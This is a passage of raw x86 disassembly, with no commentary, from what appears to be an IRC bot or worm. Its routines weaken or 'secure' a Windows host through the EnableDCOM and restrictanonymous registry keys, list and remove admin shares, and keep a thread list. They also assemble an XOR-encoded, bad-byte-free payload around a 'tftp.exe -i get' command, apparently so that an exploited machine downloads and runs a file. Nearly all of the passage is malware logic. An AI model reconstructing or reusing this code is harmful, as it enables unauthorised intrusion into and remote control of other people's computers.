lea edi, [ebp+var_B8]
push 1
rep movsd
pop esi
mov [eax+0A4h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_34]
call dword_43A3B8
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_43A438
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41455A
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_43A360
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_43F554[ecx], esi
jz short loc_41455A
push [ebp+var_34]
push [ebp+var_28]
call dword_43A444
push eax
mov edi, offset dword_469284
push offset unk_4375CC
push edi
call sub_4154E7
push 0
lea eax, [ebp+var_B4]
push [ebp+var_20]
push edi
push eax
push [ebp+var_B8]
call sub_412D4C
push edi
call sub_40B16D
add esp, 28h
loc_41455A: ; CODE XREF: sub_41449C+5Dj
; sub_41449C+7Ej
push esi
call dword_43A450
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_41449C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_414569 proc near ; DATA XREF: sub_40CE55+34B1o
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Ah
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, dword_421060
mov dword ptr [ebx+0A0h], 1
xor edi, edi
loc_414597: ; CODE XREF: sub_414569+ECj
push [ebp+var_2C]
push [ebp+var_20]
call dword_43A444
push eax
lea eax, [ebp+var_130]
push offset unk_437608
push eax
call sub_4154E7
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_43F348
push eax
call sub_416D40
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_41449C
push edi
push edi
call dword_42108C
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_414603
loc_4145F8: ; CODE XREF: sub_414569+98j
cmp [ebp+var_C], edi
jnz short loc_414603
push 32h
call esi
jmp short loc_4145F8
; ---------------------------------------------------------------------------
loc_414603: ; CODE XREF: sub_414569+8Dj
; sub_414569+92j
push [ebp+var_4]
call dword_42106C
push dword ptr [ebx+88h]
mov [ebx+0A4h], edi
call esi
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call sub_4155D0
add esp, 0Ch
push [ebp+arg_0]
call dword_43A2EC
inc eax
push eax
mov [ebp+arg_0], eax
call dword_43A3B4
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call sub_4155D0
add esp, 0Ch
jmp loc_414597
sub_414569 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41465A proc near ; DATA XREF: sub_40CE55+59A9o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_4146A1
call sub_4146BA
jmp short loc_4146A6
; ---------------------------------------------------------------------------
loc_4146A1: ; CODE XREF: sub_41465A+3Ej
call sub_4149DE
loc_4146A6: ; CODE XREF: sub_41465A+45j
add esp, 10h
push [ebp+var_14]
call sub_4152AF
pop ecx
push 0
call dword_421048
sub_41465A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4146BA proc near ; CODE XREF: sub_41465A+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_43A488, edi
jnz loc_4147EC
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_43A428
test eax, eax
jnz short loc_414745
mov ax, word_4379F0
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_43A3DC
test eax, eax
jz short loc_414727
push offset unk_4379AC
jmp short loc_41472C
; ---------------------------------------------------------------------------
loc_414727: ; CODE XREF: sub_4146BA+64j
push offset dword_43797C
loc_41472C: ; CODE XREF: sub_4146BA+6Bj
lea eax, [ebp+var_214]
push eax
call sub_4154E7
pop ecx
pop ecx
push [ebp+var_4]
call dword_43A394
jmp short loc_414758
; ---------------------------------------------------------------------------
loc_414745: ; CODE XREF: sub_4146BA+36j
lea eax, [ebp+var_214]
push offset unk_437938
push eax
call sub_4154E7
pop ecx
pop ecx
loc_414758: ; CODE XREF: sub_4146BA+89j
cmp [ebp+arg_C], edi
jnz short loc_414777
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_414777: ; CODE XREF: sub_4146BA+A1j
lea eax, [ebp+var_214]
push eax
call sub_40B16D
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_43A428
test eax, eax
jnz short loc_4147E5
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_43A3DC
test eax, eax
jz short loc_4147C7
push offset unk_4378D4
jmp short loc_4147CC
; ---------------------------------------------------------------------------
loc_4147C7: ; CODE XREF: sub_4146BA+104j
push offset unk_43788C
loc_4147CC: ; CODE XREF: sub_4146BA+10Bj
lea eax, [ebp+var_214]
push eax
call sub_4154E7
pop ecx
pop ecx
push [ebp+var_4]
call dword_43A394
jmp short loc_4147FF
; ---------------------------------------------------------------------------
loc_4147E5: ; CODE XREF: sub_4146BA+E2j
push offset unk_43783C
jmp short loc_4147F1
; ---------------------------------------------------------------------------
loc_4147EC: ; CODE XREF: sub_4146BA+13j
push offset unk_4377F8
loc_4147F1: ; CODE XREF: sub_4146BA+130j
lea eax, [ebp+var_214]
push eax
call sub_4154E7
pop ecx
pop ecx
loc_4147FF: ; CODE XREF: sub_4146BA+129j
cmp [ebp+arg_C], edi
jnz short loc_41481E
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_41481E: ; CODE XREF: sub_4146BA+148j
lea eax, [ebp+var_214]
push eax
call sub_40B16D
cmp dword_43A4B0, edi
pop ecx
jnz loc_414999
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_414841: ; CODE XREF: sub_4146BA+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_43A304
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_4148DE
cmp eax, 0EAh
jz short loc_4148DE
mov esi, offset off_437648
loc_414872: ; CODE XREF: sub_4146BA+21Dj
push dword ptr [esi]
push edi
call sub_41339D
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_414889
push offset unk_4377C0
jmp short loc_41488E
; ---------------------------------------------------------------------------
loc_414889: ; CODE XREF: sub_4146BA+1C6j
push offset unk_437780
loc_41488E: ; CODE XREF: sub_4146BA+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_415A6A
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_4148C1
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_4148C1: ; CODE XREF: sub_4146BA+1EBj
lea eax, [ebp+var_214]
push eax
call sub_40B16D
add esi, 8
pop ecx
cmp esi, offset dword_437668
jl short loc_414872
jmp loc_414976
; ---------------------------------------------------------------------------
loc_4148DE: ; CODE XREF: sub_4146BA+1AAj
; sub_4146BA+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41496D
loc_4148ED: ; CODE XREF: sub_4146BA+2AFj
mov edi, [esi]
push edi
call sub_4179DC
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_414962
push edi
call sub_41328A
push eax
push 0
call sub_41339D
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41491C
push offset unk_437748
jmp short loc_414921
; ---------------------------------------------------------------------------
loc_41491C: ; CODE XREF: sub_4146BA+259j
push offset unk_437708
loc_414921: ; CODE XREF: sub_4146BA+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_415A6A
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_414955
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_414955: ; CODE XREF: sub_4146BA+27Fj
lea eax, [ebp+var_214]
push eax
call sub_40B16D
pop ecx
loc_414962: ; CODE XREF: sub_4146BA+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_4148ED
xor edi, edi
loc_41496D: ; CODE XREF: sub_4146BA+22Dj
push [ebp+var_8]
call dword_43A448
loc_414976: ; CODE XREF: sub_4146BA+21Fj
cmp [ebp+var_10], 0EAh
jz loc_414841
lea eax, [ebp+var_214]
push offset unk_4376CC
push eax
call sub_4154E7
pop ecx
pop ecx
pop ebx
jmp short loc_4149AC
; ---------------------------------------------------------------------------
loc_414999: ; CODE XREF: sub_4146BA+177j
lea eax, [ebp+var_214]
push offset unk_437688
push eax
call sub_4154E7
pop ecx
pop ecx
loc_4149AC: ; CODE XREF: sub_4146BA+2DDj
cmp [ebp+arg_C], edi
jnz short loc_4149CA
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_4149CA: ; CODE XREF: sub_4146BA+2F5j
lea eax, [ebp+var_214]
push eax
call sub_40B16D
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_4146BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4149DE proc near ; CODE XREF: sub_41465A:loc_4146A1p
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_43A488, ebx
push esi
jnz loc_414B0C
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_43A428
test eax, eax
jnz short loc_414A69
mov ax, word_437BF8
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_43A3DC
test eax, eax
jz short loc_414A4B
push offset unk_437BC0
jmp short loc_414A50
; ---------------------------------------------------------------------------
loc_414A4B: ; CODE XREF: sub_4149DE+64j
push offset dword_437B90
loc_414A50: ; CODE XREF: sub_4149DE+6Bj
lea eax, [ebp+var_220]
push eax
call sub_4154E7
pop ecx
pop ecx
push [ebp+var_4]
call dword_43A394
jmp short loc_414A7C
; ---------------------------------------------------------------------------
loc_414A69: ; CODE XREF: sub_4149DE+36j
lea eax, [ebp+var_220]
push offset unk_437938
push eax
call sub_4154E7
pop ecx
pop ecx
loc_414A7C: ; CODE XREF: sub_4149DE+89j
cmp [ebp+arg_C], ebx
jnz short loc_414A9B
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_414A9B: ; CODE XREF: sub_4149DE+A1j
lea eax, [ebp+var_220]
push eax
call sub_40B16D
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_43A428
test eax, eax
jnz short loc_414B05
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_43A3DC
test eax, eax
jz short loc_414AE7
push offset unk_437B40
jmp short loc_414AEC
; ---------------------------------------------------------------------------
loc_414AE7: ; CODE XREF: sub_4149DE+100j
push offset unk_437AF8
loc_414AEC: ; CODE XREF: sub_4149DE+107j
lea eax, [ebp+var_220]
push eax
call sub_4154E7
pop ecx
pop ecx
push [ebp+var_4]
call dword_43A394
jmp short loc_414B1F
; ---------------------------------------------------------------------------
loc_414B05: ; CODE XREF: sub_4149DE+E2j
push offset unk_437AA8
jmp short loc_414B11
; ---------------------------------------------------------------------------
loc_414B0C: ; CODE XREF: sub_4149DE+13j
push offset unk_4377F8
loc_414B11: ; CODE XREF: sub_4149DE+12Cj
lea eax, [ebp+var_220]
push eax
call sub_4154E7
pop ecx
pop ecx
loc_414B1F: ; CODE XREF: sub_4149DE+125j
cmp [ebp+arg_C], ebx
jnz short loc_414B3E
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_414B3E: ; CODE XREF: sub_4149DE+144j
lea eax, [ebp+var_220]
push eax
call sub_40B16D
cmp dword_43A4B0, ebx
pop ecx
jnz loc_414CB0
push edi
mov esi, offset off_437648
mov edi, 200h
loc_414B62: ; CODE XREF: sub_4149DE+1E9j
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_4132F1
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_414B7D
push offset unk_437A74
jmp short loc_414B82
; ---------------------------------------------------------------------------
loc_414B7D: ; CODE XREF: sub_4149DE+196j
push offset unk_437A38
loc_414B82: ; CODE XREF: sub_4149DE+19Dj
lea eax, [ebp+var_220]
push edi
push eax
call sub_415A6A
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_414BB1
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_414BB1: ; CODE XREF: sub_4149DE+1B7j
lea eax, [ebp+var_220]
push eax
call sub_40B16D
add esi, 8
pop ecx
cmp esi, offset off_437658
jl short loc_414B62
call dword_421148
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_414C98
loc_414BDC: ; CODE XREF: sub_4149DE+2B4j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_414C8D
cmp bl, 41h
jz loc_414C8D
movsx esi, bl
push esi
push offset aC_3 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_415A6A
push esi
push offset aC_2 ; "%c:\\"
lea eax, [ebp+var_20]
push 0Ah
push eax
call sub_415A6A
add esp, 20h
lea eax, [ebp+var_20]
push eax
call dword_43A418
cmp eax, 3
jnz short loc_414C8D
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_4132F1
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_414C4B
push offset unk_437A74
jmp short loc_414C50
; ---------------------------------------------------------------------------
loc_414C4B: ; CODE XREF: sub_4149DE+264j
push offset unk_437A38
loc_414C50: ; CODE XREF: sub_4149DE+26Bj
lea eax, [ebp+var_220]
push edi
push eax
call sub_415A6A
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_414C80
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_414C80: ; CODE XREF: sub_4149DE+286j
lea eax, [ebp+var_220]
push eax
call sub_40B16D
pop ecx
loc_414C8D: ; CODE XREF: sub_4149DE+206j
; sub_4149DE+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_414BDC
loc_414C98: ; CODE XREF: sub_4149DE+1F8j
lea eax, [ebp+var_220]
push offset unk_4379F4
push eax
call sub_4154E7
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_414CC3
; ---------------------------------------------------------------------------
loc_414CB0: ; CODE XREF: sub_4149DE+173j
lea eax, [ebp+var_220]
push offset unk_437688
push eax
call sub_4154E7
pop ecx
pop ecx
loc_414CC3: ; CODE XREF: sub_4149DE+2D0j
cmp [ebp+arg_C], ebx
jnz short loc_414CE1
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_414CE1: ; CODE XREF: sub_4149DE+2E8j
lea eax, [ebp+var_220]
push eax
call sub_40B16D
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_4149DE endp
; =============== S U B R O U T I N E =======================================
sub_414CF5 proc near ; CODE XREF: sub_414D15+Ap
; sub_414DED+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_415CF0
push [esp+8+arg_4]
mov esi, eax
call sub_415CF0
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_414CF5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414D15 proc near ; CODE XREF: sub_414E04+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_414CF5
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_414D32
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_414D32: ; CODE XREF: sub_414D15+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_415CF0
push [ebp+arg_C]
mov esi, eax
call sub_415CF0
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_437C90, eax
lea eax, [edi+1]
mov dword_437CB1, eax
lea eax, [edi+17h]
mov dword_437CA9, eax
pop eax
push 74h
sub eax, edi
push offset dword_437C2C
push ebx
mov dword_437CBF, eax
call sub_4155D0
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call sub_4155D0
add esi, 74h
push 5
push (offset aTftp_exeIGet+0Ch)
lea eax, [esi+ebx]
push eax
call sub_4155D0
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call sub_4155D0
add esi, edi
push 10h
push (offset aTftp_exeIGet+11h)
lea eax, [esi+ebx]
push eax
call sub_4155D0
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call sub_4155D0
add esi, edi
push 38h
add esi, ebx
push offset byte_437CB5
push esi
call sub_4155D0
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_414D15 endp
; =============== S U B R O U T I N E =======================================
sub_414DED proc near ; CODE XREF: sub_414E04+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_414CF5
push eax
call sub_414E71
add esp, 0Ch
retn
sub_414DED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414E04 proc near ; CODE XREF: sub_403178+32p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
push edi
push ebx
call sub_414DED
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_414E24
cmp eax, 0FFFFh
jbe short loc_414E28
loc_414E24: ; CODE XREF: sub_414E04+17j
xor eax, eax
jmp short loc_414E6D
; ---------------------------------------------------------------------------
loc_414E28: ; CODE XREF: sub_414E04+1Ej
push esi
push edi
push ebx
call sub_414CF5
add eax, 101h
push eax
call sub_415DC9
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_414CF5
pop ecx
pop ecx
push eax
push esi
call sub_414D15
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_414E8C
push esi
mov edi, eax
call sub_415E3D
add esp, 24h
mov eax, edi
pop esi
loc_414E6D: ; CODE XREF: sub_414E04+22j
pop edi
pop ebx
pop ebp
retn
sub_414E04 endp
; =============== S U B R O U T I N E =======================================
sub_414E71 proc near ; CODE XREF: sub_414DED+Ep
; sub_414E8C+4Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_414E7A
inc ecx
loc_414E7A: ; CODE XREF: sub_414E71+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_414E71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414E8C proc near ; CODE XREF: sub_414E04+56p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp byte ptr [ebp+arg_C], 0Ah
jz short loc_414EA8
cmp byte ptr [ebp+arg_C], 0Dh
jz short loc_414EA8
cmp byte ptr [ebp+arg_C], 5Ch
jz short loc_414EA8
cmp byte ptr [ebp+arg_C], 0
jnz short loc_414EAB
loc_414EA8: ; CODE XREF: sub_414E8C+8j
; sub_414E8C+Ej ...
inc [ebp+arg_C]
loc_414EAB: ; CODE XREF: sub_414E8C+1Aj
push esi
mov esi, 0FFh
cmp [ebp+arg_C], esi
jbe short loc_414ED3
mov eax, [ebp+arg_C]
shr eax, 8
cmp al, 0Ah
jz short loc_414ECC
cmp al, 0Dh
jz short loc_414ECC
cmp al, 5Ch
jz short loc_414ECC
test al, al
jnz short loc_414ED3
loc_414ECC: ; CODE XREF: sub_414E8C+32j
; sub_414E8C+36j ...
add [ebp+arg_C], 100h
loc_414ED3: ; CODE XREF: sub_414E8C+28j
; sub_414E8C+3Ej
push [ebp+arg_C]
call sub_414E71
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_414EEB
cmp eax, 0FFFFh
jbe short loc_414EF2
loc_414EEB: ; CODE XREF: sub_414E8C+56j
xor eax, eax
jmp loc_414F90
; ---------------------------------------------------------------------------
loc_414EF2: ; CODE XREF: sub_414E8C+5Dj
mov ecx, [ebp+arg_C]
push ebx
mov bl, byte_469488
xor edx, edx
push edi
mov edi, [ebp+arg_8]
test ecx, ecx
jbe short loc_414F22
loc_414F06: ; CODE XREF: sub_414E8C+94j
mov al, [edx+edi]
xor al, bl
jz short loc_414F19
cmp al, 0Ah
jz short loc_414F19
cmp al, 0Dh
jz short loc_414F19
cmp al, 5Ch
jnz short loc_414F1D
loc_414F19: ; CODE XREF: sub_414E8C+7Fj
; sub_414E8C+83j ...
inc bl
xor edx, edx
loc_414F1D: ; CODE XREF: sub_414E8C+8Bj
inc edx
cmp edx, ecx
jb short loc_414F06
loc_414F22: ; CODE XREF: sub_414E8C+78j
cmp ecx, esi
mov byte_469488, bl
ja short loc_414F4E
push 15h
push offset loc_437C14
push [ebp+arg_0]
mov byte_437C21, cl
mov byte_437C25, bl
call sub_4155D0
add esp, 0Ch
push 15h
jmp short loc_414F6F
; ---------------------------------------------------------------------------
loc_414F4E: ; CODE XREF: sub_414E8C+9Ej
push 17h
push offset loc_437BFC
push [ebp+arg_0]
mov word_437C0A, cx
mov byte_437C0F, bl
call sub_4155D0
add esp, 0Ch
push 17h
loc_414F6F: ; CODE XREF: sub_414E8C+C0j
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_414F8B
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_414F7D: ; CODE XREF: sub_414E8C+FDj
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_414F7D
loc_414F8B: ; CODE XREF: sub_414E8C+E9j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_414F90: ; CODE XREF: sub_414E8C+61j
pop esi
leave
retn
sub_414E8C endp
; =============== S U B R O U T I N E =======================================
sub_414F93 proc near ; CODE XREF: sub_406100+220p
; sub_407276+F0p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_43F348
loc_414F9B: ; CODE XREF: sub_414F93+18j
cmp byte ptr [eax], 0
jz short loc_414FAF
add eax, 234h
inc edi
cmp eax, offset dword_468838
jl short loc_414F9B
jmp short loc_414FFA
; ---------------------------------------------------------------------------
loc_414FAF: ; CODE XREF: sub_414F93+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_43F348[esi]
push eax
call sub_416D40
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_43F548[esi], eax
and dword_43F54C[esi], 0
mov eax, [esp+8+arg_8]
and dword_43F550[esi], 0
mov dword_43F554[esi], eax
and byte_43F560[esi], 0
pop esi
loc_414FFA: ; CODE XREF: sub_414F93+1Aj
mov eax, edi
pop edi
retn
sub_414F93 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414FFE proc near ; DATA XREF: sub_40CE55+5631o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
push [ebp+var_10]
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_415050
push [ebp+var_14]
call sub_4152AF
add esp, 14h
push 0
call dword_421048
pop edi
pop esi
sub_414FFE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415050 proc near ; CODE XREF: sub_414FFE+38p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset aThreadList ; "-[Thread List]-"
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
xor edi, edi
mov esi, offset dword_43F348
loc_41507A: ; CODE XREF: sub_415050+78j
cmp byte ptr [esi], 0
jz short loc_4150BB
cmp [ebp+arg_C], 0
jnz short loc_41508E
cmp dword ptr [esi+204h], 0
jnz short loc_4150BB
loc_41508E: ; CODE XREF: sub_415050+33j
push esi
push edi
lea eax, [ebp+var_200]
push offset aD_S ; "%d. %s"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 24h
loc_4150BB: ; CODE XREF: sub_415050+2Dj
; sub_415050+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_468838
jl short loc_41507A
pop edi
pop esi
leave
retn
sub_415050 endp
; =============== S U B R O U T I N E =======================================
sub_4150CE proc near ; CODE XREF: sub_40CE55+4A16p
; sub_41515C+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_415156
cmp esi, 12Ch
jge short loc_415156
imul esi, 234h
push edi
push ebx
push dword_43F55C[esi]
lea edi, dword_43F55C[esi]
call dword_421130
cmp [edi], ebx
jz short loc_415106
push 1
pop ebp
loc_415106: ; CODE XREF: sub_4150CE+33j
mov [edi], ebx
lea edi, dword_43F550[esi]
mov dword_43F548[esi], ebx
mov dword_43F54C[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_415127
push eax
call sub_414061
pop ecx
loc_415127: ; CODE XREF: sub_4150CE+50j
mov [edi], ebx
lea edi, dword_43F554[esi]
mov byte ptr dword_43F348[esi], bl
mov byte_43F560[esi], bl
push dword ptr [edi]
call dword_43A450
